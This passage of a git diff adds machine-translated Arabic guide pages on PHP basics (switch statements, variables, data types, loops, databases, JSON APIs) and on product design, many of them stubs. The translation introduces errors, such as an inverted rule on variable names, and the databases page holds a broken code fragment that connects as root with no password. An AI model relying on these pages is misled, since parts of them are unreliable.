+أخيرًا وليس آخرًا ، من المهم استخدام جلسات php بشكل آمن. اطلع على مقالتنا حول [معرفة معرّف](/php/security/session-identifier-acquirement) [الجلسة واختطاف الجلسات](/php/security/session-hijacking) لمزيد من المعلومات.
+
+#### معلومات اكثر:
+
+*   [دليل جلسة php.net](https://secure.php.net/manual/en/book.session.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/strings/index.md b/client/src/guide/arabic/php/strings/index.md
new file mode 100644
index 0000000000..973b438234
--- /dev/null
+++ b/client/src/guide/arabic/php/strings/index.md
@@ -0,0 +1,11 @@
+---
+title: Strings
+localeTitle: سلاسل
+---
+## سلاسل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/strings/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/super-globals/index.md b/client/src/guide/arabic/php/super-globals/index.md
new file mode 100644
index 0000000000..b9bf54ceaa
--- /dev/null
+++ b/client/src/guide/arabic/php/super-globals/index.md
@@ -0,0 +1,11 @@
+---
+title: Super Globals
+localeTitle: سوبر جلوبالز
+---
+## سوبر جلوبالز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/super-globals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/switch-statement/index.md b/client/src/guide/arabic/php/switch-statement/index.md
new file mode 100644
index 0000000000..19d25cc9dc
--- /dev/null
+++ b/client/src/guide/arabic/php/switch-statement/index.md
@@ -0,0 +1,90 @@
+---
+title: Switch statement
+localeTitle: بيان التبديل
+---
+# مفتاح كهربائي
+
+رمز `Switch` هو عبارة عن بيان تحديد سيحدد عبارة التبديل وينفذه من قائمة المرشحين. يتكون التبديل من `case` `default` الاختياري. يمكن إيقاف التنفيذ باستخدام `break` أو `return` .
+
+## بناء الجملة
+
+ `switch(x) 
+ { 
+    case value1: 
+      //execute if x = value1 
+      break; 
+    case value2: 
+      //execute if x = value2 
+      break; 
+ 
+    ... 
+ 
+    default: 
+      execute if x is different with cases above 
+ } 
+` 
+
+## مثال
+
+ `<?php 
+ //initialize with a random integer within range 
+ $diceNumber = mt_rand(1, 6); 
+ 
+ //initialize 
+ $numText = ""; 
+ 
+ //calling switch statement 
+  switch($diceNumber) 
+  { 
+  case 1: 
+    $numText = "One"; 
+    break; 
+  case 2: 
+    $numText = "Two"; 
+    break; 
+  case 3: 
+  case 4: 
+    // case 3 and 4 will go to this line 
+    $numText = "Three or Four"; 
+    break; 
+  case 5: 
+    $numText = "Five"; 
+    echo $numText; 
+    // break; //without specify break or return it will continue execute to next case. 
+  case 6: 
+    $numText = "Six"; 
+    echo $numText; 
+    break; 
+  default: 
+    $numText = "unknown"; 
+  } 
+ 
+  //display result 
+  echo 'Dice show number '.$numText.'.'; 
+ 
+ ?> 
+` 
+
+## انتاج |
+
+ `if case is 1 
+ > Dice show number One. 
+ 
+ if case is 2 
+ > Dice show number Two. 
+ 
+ if case is 3 
+ > Dice show number Three or Four. 
+ 
+ if case is 4 
+ > Dice show number Three or Four. 
+ 
+ if case is 5 
+ > FiveSixDice show number Six. 
+ 
+ if case is 6 
+ > SixDice show number Six. 
+ 
+ if none of the above 
+ > Dice show number unknown. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/switch-statements/index.md b/client/src/guide/arabic/php/switch-statements/index.md
new file mode 100644
index 0000000000..a5411c0101
--- /dev/null
+++ b/client/src/guide/arabic/php/switch-statements/index.md
@@ -0,0 +1,29 @@
+---
+title: Switch Statements
+localeTitle: تبديل العبارات
+---
+## تبديل العبارات
+
+بيانات التبديل تنفيذ كتل من التعليمات البرمجية استناداً إلى قيمة شرط.
+
+### بناء الجملة:
+
+ `switch(x) { 
+  case 1: 
+    statement1; 
+    break; 
+   case 2: 
+     statement2; 
+     break; 
+   default: 
+     defaultstatement; 
+ } 
+` 
+
+في المثال أعلاه ، x هي الشرط. سيتم تنفيذ التصريحات التالية للحالة التي تطابق. إذا لم تكن هناك تطابقات ، فسيتم تشغيل العبارة (الألفاظ الافتراضية).
+
+يتم استخدام الكلمة الأساسية `break` لإنهاء كل حالة.
+
+### معلومات اكثر:
+
+[تبديل PHP](http://php.net/manual/en/control-structures.switch.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/switch/index.md b/client/src/guide/arabic/php/switch/index.md
new file mode 100644
index 0000000000..9947ad1af1
--- /dev/null
+++ b/client/src/guide/arabic/php/switch/index.md
@@ -0,0 +1,34 @@
+---
+title: Switch
+localeTitle: مفتاح كهربائي
+---
+## مفتاح كهربائي
+
+في PHP، و `Switch` البيان هو تشبه الى حد بعيد جافا سكريبت `Switch` البيان (انظر [دليل التبديل جافا سكريبت](/javascript/switch-statements) لمقارنة وعلى النقيض). إنه يسمح باختبار سريع للحالة مع الكثير من الظروف الممكنة المختلفة ، كما أن الشفرة أكثر قابلية للقراءة.
+
+### بناء الجملة
+
+ `<?php 
+    // Switch Statement Example 
+    switch ($i) { 
+        case "free": 
+            echo "i is free"; 
+            break; 
+        case "code": 
+            echo "i is code"; 
+            break; 
+        case "camp": 
+            echo "i is camp"; 
+            break; 
+        default: 
+            echo "i is freecodecamp"; 
+    } 
+` 
+
+### استراحة
+
+`break;` يخرج بيان التبديل ويذهب لتشغيل بقية رمز التطبيق. إذا كنت لا تستخدم `break;` قد ينتهي بك الأمر إلى تشغيل حالات وبيانات متعددة ، وأحيانًا قد يكون هذا مرغوبًا في هذه الحالة ، ويجب عدم تضمين `break;` بيان.
+
+#### معلومات اكثر:
+
+*   [php.net docs Switch](https://secure.php.net/manual/en/control-structures.switch.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/syntax/index.md b/client/src/guide/arabic/php/syntax/index.md
new file mode 100644
index 0000000000..7937cdc931
--- /dev/null
+++ b/client/src/guide/arabic/php/syntax/index.md
@@ -0,0 +1,25 @@
+---
+title: Syntax
+localeTitle: بناء الجملة
+---
+## بناء الجملة
+
+PHP هي لغة تسمح لك بتضمين محتوى ديناميكي في صفحات ويب ثابتة خلاف ذلك. مكتوب بخط ثابت مع html ، ببساطة إعادة تسمية ملف .html إلى .php (يجب أن يكون خادم الويب مثبتًا على php) للبدء.
+
+ `<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <title>PHP Example</title> 
+ </head> 
+ <body> 
+ <h1>PHP Example</h1> 
+ <?php 
+  echo "Hello World from PHP!"; 
+ ?> 
+ </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+*   [php.net - وثائق PHP](https://secure.php.net/docs.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/variable-basics/index.md b/client/src/guide/arabic/php/variable-basics/index.md
new file mode 100644
index 0000000000..3fef0caa9b
--- /dev/null
+++ b/client/src/guide/arabic/php/variable-basics/index.md
@@ -0,0 +1,22 @@
+---
+title: PHP Variable Basics
+localeTitle: أساسيات PHP المتغيرة
+---
+المتغيرات تسمح للمبرمجين باستخدام البيانات throuhgout a PHP script.
+
+في PHP ، تبدأ المتغيرات دائمًا برمز `$` متبوعًا باسم المتغير. فقط الحروف والأرقام (قد لا تكون الحرف الأول) والشرطات السفلية يمكن أن تشكل اسم متغير.
+
+على سبيل المثال ، `$my_variable` `$anotherVariable` و `$the2ndVariable` و `$the2ndVariable` أسماء متغيرات صالحة.
+
+أسماء المتغيرات حساسة لحالة الأحرف. `$my_variable` عن `$My_Variable` وهو يختلف عن `$mY_vARiAblE` .
+
+قبل استخدام المتغير ، يجب أن يكون له قيمة معينة له.
+
+ `    <?php 
+    $my_number = 1; 
+    echo($my_number); 
+ 
+    >>> 1 
+` 
+
+في المثال أعلاه ، المتغير هو `$my_number` . القيمة المسندة إليه كانت الرقم `1` . ثم تم تمرير المتغير كمعلمة لوظيفة `echo` ، والتي تخرج القيمة إلى سطر الأوامر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/variables/data-types/index.md b/client/src/guide/arabic/php/variables/data-types/index.md
new file mode 100644
index 0000000000..6362a78491
--- /dev/null
+++ b/client/src/guide/arabic/php/variables/data-types/index.md
@@ -0,0 +1,106 @@
+---
+title: PHP Data Types
+localeTitle: أنواع البيانات PHP
+---
+# أنواع البيانات
+
+يمكن للمتغيرات تخزين البيانات من أنواع مختلفة مثل:
+
+*   سلسلة ("مرحبا")
+*   عدد صحيح (5)
+*   طفو (يسمى أيضا مزدوج) (1.0)
+*   منطقية (1 أو 0)
+*   المصفوفة (صفيف ("I" ، "am" ، "an" ، "array"))
+*   موضوع
+*   لا شيء
+*   مورد
+
+## خيط
+
+السلسلة هي سلسلة من الحروف. يمكن أن يكون أي نص داخل علامات اقتباس (مفرد أو مزدوج):
+
+#### مثال
+
+ `$x = "Hello!"; 
+ $y = 'Hello!'; 
+` 
+
+## عدد صحيح
+
+نوع بيانات عدد صحيح هو رقم عشري بين -2،147،483،648 و 2،147،483،647.
+
+قواعد الأعداد الصحيحة:
+
+*   يجب أن يتكون عدد صحيح من رقم واحد على الأقل
+*   يجب ألا يكون العدد الصحيح عشري
+*   يمكن أن يكون عددًا صحيحًا إما إيجابيًا أو سلبيًا
+*   يمكن تحديد الأعداد الصحيحة في ثلاثة أشكال: عشري (10-based) ، سداسي عشري (16-based-prefixed with 0x) أو octal (8-based - مسبوقة بـ 0)
+
+#### مثال
+
+ `$x = 5; 
+` 
+
+## تطفو
+
+عائم (رقم النقطة العائمة) هو رقم به علامة عشرية أو رقم في شكل أسي.
+
+#### مثال
+
+ `$x = 5.01; 
+` 
+
+## منطقية
+
+Boolean يمثل حالتين محتملتين: TRUE أو FALSE. يتم استخدام Booleans غالبًا في الاختبارات الشرطية.
+
+ `$x = true; 
+ $y = false; 
+` 
+
+## مجموعة مصفوفة
+
+صفيف بتخزين قيم متعددة في متغير واحد.
+
+ `$colours = array("Blue","Purple","Pink"); 
+` 
+
+## قيمة فارغة
+
+Null هو نوع بيانات خاص يمكن أن يكون له قيمة واحدة فقط: NULL.  
+المتغير من نوع البيانات NULL هو متغير ليس له قيمة محددة له.  
+يمكن أيضاً إفراغ متغيرات عن طريق تعيين القيمة إلى NULL.
+
+**ملاحظة:** إذا تم إنشاء متغير بدون قيمة ، فسيتم تعيين قيمة فارغة له تلقائيًا.
+
+ `<?php 
+ $x = "Hello world!"; 
+ $x = null; 
+ ?> 
+` 
+
+انتاج:  
+لا شيء
+
+## موضوع
+
+الكائن هو نوع بيانات يخزن البيانات والمعلومات حول كيفية معالجة تلك البيانات.  
+في PHP ، يجب أن يتم الإعلان عن كائن صريح.  
+أولا يجب أن نعلن عن فئة من الأشياء. الفئة هي بنية يمكن أن تحتوي على خصائص وأساليب.
+
+**مثال:**
+
+ `<?php 
+ class Car { 
+    function Car() { 
+        $this->model = "VW"; 
+    } 
+ } 
+ 
+ // create an object 
+ $herbie = new Car(); 
+ 
+ // show object properties 
+ echo $herbie->model; 
+ ?> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/variables/index.md b/client/src/guide/arabic/php/variables/index.md
new file mode 100644
index 0000000000..290e4735d3
--- /dev/null
+++ b/client/src/guide/arabic/php/variables/index.md
@@ -0,0 +1,67 @@
+---
+title: Variables
+localeTitle: المتغيرات
+---
+## المتغيرات
+
+# إنشاء (إعلان) متغيرات PHP
+
+المتغيرات هي "حاويات" لتخزين المعلومات.
+
+**بناء الجملة:**
+
+ `<?php 
+ $txt = "Hello world!"; 
+ $x = 5; 
+ $y = 10.5; 
+ ?> 
+` 
+
+بعد تنفيذ العبارات أعلاه ، سيحتوي المتغير $ txt على قيمة Hello world !، وسيحتفظ المتغير $ x بالقيمة 5 ، وسيحتفظ المتغير $ y بالقيمة 10.5.
+
+##### ملاحظة: عند تعيين قيمة نصية لمتغير ، ضع علامات اقتباس حول القيمة.
+
+##### ملاحظة: على عكس لغات البرمجة الأخرى ، لا تملك PHP أي أمر لإعلان متغير. يتم إنشاؤه في اللحظة التي تقوم فيها بتعيين قيمة لها أولاً.
+
+# قواعد لمتغيرات PHP:
+
+*   يبدأ المتغير بعلامة $ ، متبوعًا باسم المتغير
+*   يجب أن يبدأ اسم المتغير بحرف أو حرف الشرطة السفلية
+*   لا يمكن أن يبدأ اسم المتغير برقم
+*   لا يمكن أن يحتوي اسم المتغير على أحرف أبجدية رقمية والشرطات السفلية (Az و 0-9 و \_)
+*   أسماء المتغيرات حساسة لحالة الأحرف (عمر $ و $ AGE متغيرين مختلفين)
+
+# متغيرات الانتاج
+
+وكثيرا ما يستخدم بيان صدى PHP لإخراج البيانات إلى الشاشة.
+
+سيوضح المثال التالي كيفية إخراج النص والمتغير:
+
+ `<?php 
+ $txt = "github.com"; 
+ echo "I love $txt!"; 
+ ?> 
+` 
+
+سينتج المثال التالي نفس الإخراج مثل المثال أعلاه:
+
+ `<?php 
+ $txt = "github.com"; 
+ echo "I love " . $txt . "!"; 
+ ?> 
+` 
+
+سينتج المثال التالي مجموع متغيرين:
+
+ `<?php 
+ $x = 5; 
+ $y = 4; 
+ echo $x + $y; 
+ ?> 
+` 
+
+# PHP هي لغة مكتوبة بشكل فضفاض
+
+في المثال أعلاه ، لاحظ أنه لم يكن علينا إخبار PHP بنوع البيانات المتغير. تقوم لغة PHP تلقائيًا بتحويل المتغير إلى نوع البيانات الصحيح ، وفقًا لقيمته. بلغات أخرى مثل C و C ++ و Java ، يجب أن يعلن المبرمج عن اسم المتغير ونوعه قبل استخدامه.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/while/index.md b/client/src/guide/arabic/php/while/index.md
new file mode 100644
index 0000000000..eb3bfb188b
--- /dev/null
+++ b/client/src/guide/arabic/php/while/index.md
@@ -0,0 +1,22 @@
+---
+title: While Loop
+localeTitle: حائط اللوب
+---
+## في حين الحلقات
+
+تقوم حلقة `while` بتنفيذ العبارات داخل الحلقة طالما تم استيفاء شرط الحلقات.
+
+### بناء الجملة:
+
+ `$x = 0; 
+ while ($x < 11) { 
+    statement1; 
+    $x++; 
+ } 
+` 
+
+**ملاحظة:** يجب أن تحتوي شفرة الكتل على بيان يغير أو يزيد من الشرط. وإلا فقد ينتج عن حلقة لا نهائية.
+
+### معلومات اكثر:
+
+[PHP أثناء التكرار](http://php.net/manual/en/control-structures.while.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/working-with-databases/index.md b/client/src/guide/arabic/php/working-with-databases/index.md
new file mode 100644
index 0000000000..3755df4d15
--- /dev/null
+++ b/client/src/guide/arabic/php/working-with-databases/index.md
@@ -0,0 +1,13 @@
+---
+title: Working With Databases
+localeTitle: العمل مع قواعد البيانات
+---
+## ما هي الخيارات المتاحة لـ PHP للاتصال بقاعدة البيانات؟
+
+يمكن لـ PHP الاتصال بمجموعة متنوعة من قواعد البيانات المختلفة بما في ذلك MongoDB و MsSQL و MySQL. كل من PHP و MySQL تحظى بشعبية كبيرة وتوفر مواقع سهلة ومجانية ومفتوحة المصدر التي يتم إنشاؤها وغالبًا ما يتم العثور عليها معًا لإنشاء مواقع الويب من جميع الأنواع. يمكن لكل من PHP و MySQL التدريج لدعم أعداد كبيرة من المستخدمين.
+
+تدعم PHP أكثر من طريقة للتعامل مع اتصالات MySQL بما في ذلك MySQLi Procedural ، PHP Data Objects (PDO) و MySQLi Object Orientated مع خاصية MySQL Connect التي تم إيقافها الآن. مع PHP هناك العديد من الميزات المضمنة في الوظيفة الأساسية للغة التي تجعل الروابط إلى قاعدة بيانات بسيطة وسهلة.
+
+بعض الأمثلة من Mysqli are-
+
+connect ("localhost"، "root"، ""، "db name") أو die ("مستخدم غير صالح أو كلمة مرور ... لا يمكن الاتصال")؛ ؟> هنا نقوم بالاتصال بقاعدة بيانات على بنية phpmyadmin بدون كلمة مرور واسم قاعدة بيانات db\_name
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/working-with-databases/mysqli/index.md b/client/src/guide/arabic/php/working-with-databases/mysqli/index.md
new file mode 100644
index 0000000000..2ed7793959
--- /dev/null
+++ b/client/src/guide/arabic/php/working-with-databases/mysqli/index.md
@@ -0,0 +1,11 @@
+---
+title: MySQLi
+localeTitle: MySQLi
+---
+## MySQLi
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/working-with-databases/mysqli/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/working-with-json-apis/index.md b/client/src/guide/arabic/php/working-with-json-apis/index.md
new file mode 100644
index 0000000000..7a280f6ebd
--- /dev/null
+++ b/client/src/guide/arabic/php/working-with-json-apis/index.md
@@ -0,0 +1,53 @@
+---
+title: Working With JSON APIs
+localeTitle: العمل مع واجهات برمجة التطبيقات JSON
+---
+## العمل مع واجهات برمجة التطبيقات JSON
+
+من الاستخدامات الشائعة لـ JSON قراءة البيانات من خادم الويب وعرض البيانات في صفحة الويب.
+
+سيعلمك هذا الفصل كيفية تبادل بيانات JSON بين العميل وخادم PHP.
+
+### ملف PHP
+
+يحتوي PHP على بعض الوظائف المضمنة للتعامل مع JSON.
+
+يمكن تحويل الكائنات في PHP إلى JSON باستخدام وظيفة PHP `json_encode()` :
+
+ `<?php 
+ $myObj->name = "John"; 
+ $myObj->age = 30; 
+ $myObj->city = "New York"; 
+ 
+ $myJSON = json_encode($myObj); 
+ 
+ echo $myJSON; 
+ ?> 
+` 
+
+[جربها](https://www.w3schools.com/js/showphp.asp?filename=demo_file)
+
+### عميل جافا سكريبت
+
+إليك جافا سكريبت على العميل ، باستخدام اتصال AJAX لطلب ملف PHP من المثال أعلاه:
+
+#### مثال
+
+استخدم JSON.parse () لتحويل النتيجة إلى كائن JavaScript:
+
+ `var xmlhttp = new XMLHttpRequest(); 
+ xmlhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+        var myObj = JSON.parse(this.responseText); 
+        document.getElementById("demo").innerHTML = myObj.name; 
+    } 
+ }; 
+ xmlhttp.open("GET", "demo_file.php", true); 
+ xmlhttp.send(); 
+` 
+
+[جربها](https://www.w3schools.com/js/tryit.asp?filename=tryjson_php_simple)
+
+### معلومات اكثر:
+
+*   لمزيد من [التحقق من هذا الرابط](https://www.w3schools.com/js/js_json_php.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/xml/index.md b/client/src/guide/arabic/php/xml/index.md
new file mode 100644
index 0000000000..7cfcfbec48
--- /dev/null
+++ b/client/src/guide/arabic/php/xml/index.md
@@ -0,0 +1,11 @@
+---
+title: XML
+localeTitle: XML
+---
+## XML
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/xml/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/brand-identity/index.md b/client/src/guide/arabic/product-design/brand-identity/index.md
new file mode 100644
index 0000000000..7750c52e2a
--- /dev/null
+++ b/client/src/guide/arabic/product-design/brand-identity/index.md
@@ -0,0 +1,15 @@
+---
+title: Brand Identity
+localeTitle: هوية العلامة التجارية
+---
+## هوية العلامة التجارية
+
+هوية العلامة التجارية هي وجه العلامة التجارية. وكما نوقش في قسم سابق ، فإن العلامة التجارية هي مفهوم عاطفي بل وحتى فلسفي ، في حين أن هوية العلامة التجارية هي المكون المرئي لعلامة تجارية تمثل تلك الأفكار الكبيرة.
+
+تشتمل هوية العلامة التجارية على الشعارات ، والطباعة ، والألوان ، والتغليف ، والرسائل ، كما أنها تكمل وتعزز السمعة الحالية للعلامة التجارية. تجذب هوية العلامة التجارية عملاء جدد إلى علامة تجارية بينما تجعل العملاء الحاليين يشعرون وكأنهم في المنزل. إنها مواجهة للخارج والداخل.
+
+من الضروري أن تكون هوية العلامة التجارية متسقة. ولأنه يمثل ويعزز مشاعر العلامة التجارية ، فإن الرسالة التي تصورها مكونات الهوية يجب أن تكون واضحة ، ويجب أن تكون هي نفسها بغض النظر عن مكان عرضها.
+
+#### معلومات اكثر:
+
+[99designs - هوية العلامة التجارية](https://99designs.com/blog/tips/brand-identity/) [مسائل تجربة المستخدم - تجربة العلامة التجارية في تصميم تجربة المستخدم](https://www.uxmatters.com/mt/archives/2006/07/brand-experience-in-user-experience-design.php) [مجرد إبداعية - العلامات التجارية والهوية وتصميم الشعار](http://justcreative.com/2010/04/06/branding-identity-logo-design-explained/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/concept-generation/index.md b/client/src/guide/arabic/product-design/concept-generation/index.md
new file mode 100644
index 0000000000..72ec81b9ce
--- /dev/null
+++ b/client/src/guide/arabic/product-design/concept-generation/index.md
@@ -0,0 +1,11 @@
+---
+title: Concept Generation
+localeTitle: جيل مفهوم
+---
+## جيل مفهوم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/concept-generation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/contextual-inquiries/index.md b/client/src/guide/arabic/product-design/contextual-inquiries/index.md
new file mode 100644
index 0000000000..78bbd5a5b8
--- /dev/null
+++ b/client/src/guide/arabic/product-design/contextual-inquiries/index.md
@@ -0,0 +1,21 @@
+---
+title: Contextual Inquiries
+localeTitle: استعلامات السياقية
+---
+## استعلامات السياقية
+
+الاستقصاء السياقي هو طريقة غامرة لاكتشاف كيفية أداء التصميم في سياق استخدامه. يمكن للمصممين استخدام البحث السياقي لاكتشاف جوانب التصميم التي قد لا يدركها المستخدمون عن وعي. يتضمن الاستقصاء السياقي إجراء مقابلات مع المستخدمين ومراقبتها في استخدام التصميم في بيئتهم الخاصة.
+
+هناك أربعة أمور يجب وضعها في الاعتبار:
+
+يجب الحفاظ على **السياق** - يجب أن يسعى المصمم إلى فهم تجربة المستخدم المستمرة مع التصميم ، ولهذا السبب ، من الضروري متابعة المستخدم في حياته اليومية مع التصميم.
+
+**الشراكة** - يجب على المصمم طرح أسئلة ثاقبة للتحقيق بشكل أعمق في فهم المستخدم للتصميم. ستكون إجابات المستخدم أكثر إفادة وأكثر اكتمالا إذا كانت الإجابة أثناء استخدام التصميم.
+
+**التفسير** - يجب على المصمم محاولة تفسير البيانات التي تم جمعها من المقابلات والملاحظات أثناء وجودها في الموقع مع المستخدم. من الضروري محاولة التحقق من دقة أي فرضيات حول البيانات مع المستخدم.
+
+**التركيز** - يجب أن يركز المصمم على النموذج الذهني للمستخدم لكيفية عمل التصميم. في الحالات التي قد يكون فيها أحد المصممين مرتبكًا أو مفاجئًا بالنسبة لإجراءات المستخدم أو إجاباته على الأسئلة ، يمكن للمصمم انتهاز هذه الفرصة لمحاولة فهم وجهة نظر المستخدم بشكل أفضل ، ودمج ذلك في التكرار.
+
+#### اقتباسات
+
+مارتن ، بيلا ، وبروس م. هانينجتون. طرق عالمية للتصميم 100 طريقة للبحث عن المشاكل المعقدة ، وتطوير الأفكار المبتكرة ، وتصميم حلول فعالة. ناشري روكبورت ، 2012.
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/creative-briefs/index.md b/client/src/guide/arabic/product-design/creative-briefs/index.md
new file mode 100644
index 0000000000..3b8f6b2ed8
--- /dev/null
+++ b/client/src/guide/arabic/product-design/creative-briefs/index.md
@@ -0,0 +1,37 @@
+---
+title: Creative Briefs
+localeTitle: ملخصات إبداعية
+---
+## ملخصات إبداعية
+
+**1\. ما هو الموجز الإبداعي؟ لماذا هو مطلوب؟ من هو؟**
+
+موجز إبداعي ("CB") هو مستند مشروع ، يشار إليه كثيرًا مثل موجز المشروع ، مفيد أثناء بدء التشغيل مع فريق الإنتاج. يتم استخدامه في الوكالات والشركات الناشئة وشركات البرمجيات الكبرى ، من خلال فرق مبتكرة من جميع الأحجام. وهو بمثابة خريطة طريق تمثل الرؤية ، وأهداف المشروع ، ويصف الجمهور ويحدد المبادئ التوجيهية للعلامة التجارية التي ستعمل ضمنها ؛ يجيب على سؤال "كيف تتصرف العلامة التجارية في العالم؟" قد يتضمن حتى تفاصيل حول التسليمات ، سواء من أصحاب المصلحة / العميل (المحتوى ، إرشادات العلامة التجارية ، التحليلات ...) إلى الفريق الإبداعي ، والعكس بالعكس. هو إعلام وإلهام وليس تقييد. إنها أداة تحريرية لأنها تحدد بدقة ما هو مطلوب من الإبداع.
+
+**2\. متى يتم تأليفه ومن قبل من؟**
+
+عندما يأتي مشروع جديد ، عادة ما تكون هناك فترة من الاكتشاف حيث يتم كتابة نطاق أولي للمشروع وتحديد مستندات \* ، وهذا هو موجز المشروع على مستوى عال ، وجمع المتطلبات للمتطلبات الفنية والتقنية والإبداعية والعلامة التجارية ، وما إلى ذلك. تأتي بذور ملخص إبداعي من مرحلة الاكتشاف الأولي هذه ، وهي عبارة عن خطوة اكتشاف محددة ، تحدث بشكل عام بعد اكتمال هذه المستندات المذكورة أعلاه (يتم إبلاغ CB تقريبًا بما يتم جمعه في هذه المحادثات السابقة مع أصحاب المصلحة / العملاء).
+
+وعادة ما يتم تأليف CB من قبل المدير الإبداعي لفريق الإنتاج. أنها تقود الدورة / s التي يتم جمع المعلومات من أجل موجز ، وكذلك أي تكرار ذلك. كما أنهم مسؤولون عن نشر الموجز الأخير للفريق الإبداعي ، وضمان أن المنتج النهائي يعكس موجزًا ​​معتمدًا / معتمدًا من العميل. قد تتم صياغة CB من قبل مدير المنتج ، و Product Lead ، ومدير المنتج ، وما إلى ذلك ، لأن هذه الأدوار / العناوين في حالة تغير مستمر هذه الأيام. والهدف من ذلك هو أن يكون للعميل الإبداعي أيضًا تفكير في العمل والعلامة التجارية أيضًا.
+
+_ملاحظة: على الرغم من وجود قدر كبير من المعلومات للتواصل في جميع مستندات الاستكشاف ، يجب أن تكون قادرًا أيضًا على تقطير كل صفحة إلى صفحة أو اثنتين على الأكثر. الموجز هو ، في الواقع ، موجز حرفيا._
+
+**3\. ماذا تبدو جيدة وجيزة؟**
+
+أنت تعرف الآن أن CB الجيد أمر بالغ الأهمية لنجاح مشروعك. إنها التفاصيل في موجز إبداعي تساعد الفريق على تقديمه حقًا. كلما كان الموجز أكثر وضوحًا ، كان من الأفضل فهم العميل والعلامة التجارية ، وأصبحت أكثر قدرة على فهم الرسالة والرؤية العامة في المحاولة الأولى.
+
+**4\. نصائح لكتابة ملخص إبداعي:**
+
+العملية:
+
+1.  واحدة من أفضل الطرق لتطوير موجز هو التعاون مع العميل في الغرفة - تشكيل موجز في الوقت الحقيقي. قم بدعوة أصحاب المصلحة الرئيسيين والقادة الرئيسيين في فريق الإنتاج (عادة ما يكون مدير المشروع ، والمبدعين ، والمديرين الفنيين ، والرواد التقني ، وقيادة UX ، والتسويق / biz lead). يقود المدير الإبداعي الاجتماع ، ولكن جميع الأعضاء يستمعون / يشاركون (ويؤيدون القرص المدمج) بمتابعة الوضوح و / أو تقديم سيناريوهات المثال لزيادة تحسين الاتجاه والرسالة والرؤية والوعي بالسوق ، إلخ.
+    
+2.  استخدم لوحة بيضاء واتبع ورقة العمل (عينة مغلقة) ، مما يدفع إلى الإجابة عن الأسئلة الصحيحة. شجع النقاش العضوي ، دفق الوعي من العميل. استمع أكثر من الكلام - هذا أمر بالغ الأهمية. هذه الجلسة تتمحور حول العميل. انتقل للحصول على مزيد من التفاصيل ، إذا كنت بحاجة إلى مزيد من الوضوح. هذه مرحلة حرجة لصياغة الموجز.
+    
+3.  إذا كنت جديدًا في كتابة مقالات CB ، فقم بالإشارة إلى نماذج إبداعية للعالم الحقيقي لتتعرف على كيفية صياغة الإجابات وفهم اللغة المستخدمة وعملية التفكير والتأطير.
+    
+
+#### معلومات اكثر:
+
+*   [عينة موجز العالم الحقيقي الإبداعي](http://bit.ly/2zBGUX5)
+*   [ورقة عمل موجزة الإبداعية](http://bit.ly/2y4x7HV)
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/customer-empathy/index.md b/client/src/guide/arabic/product-design/customer-empathy/index.md
new file mode 100644
index 0000000000..25c019c7e7
--- /dev/null
+++ b/client/src/guide/arabic/product-design/customer-empathy/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Empathy
+localeTitle: تعاطف العملاء
+---
+## تعاطف العملاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-empathy/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/customer-interviews/index.md b/client/src/guide/arabic/product-design/customer-interviews/index.md
new file mode 100644
index 0000000000..0125aabe24
--- /dev/null
+++ b/client/src/guide/arabic/product-design/customer-interviews/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Interviews
+localeTitle: مقابلات العملاء
+---
+## مقابلات العملاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-interviews/index.md) .
+
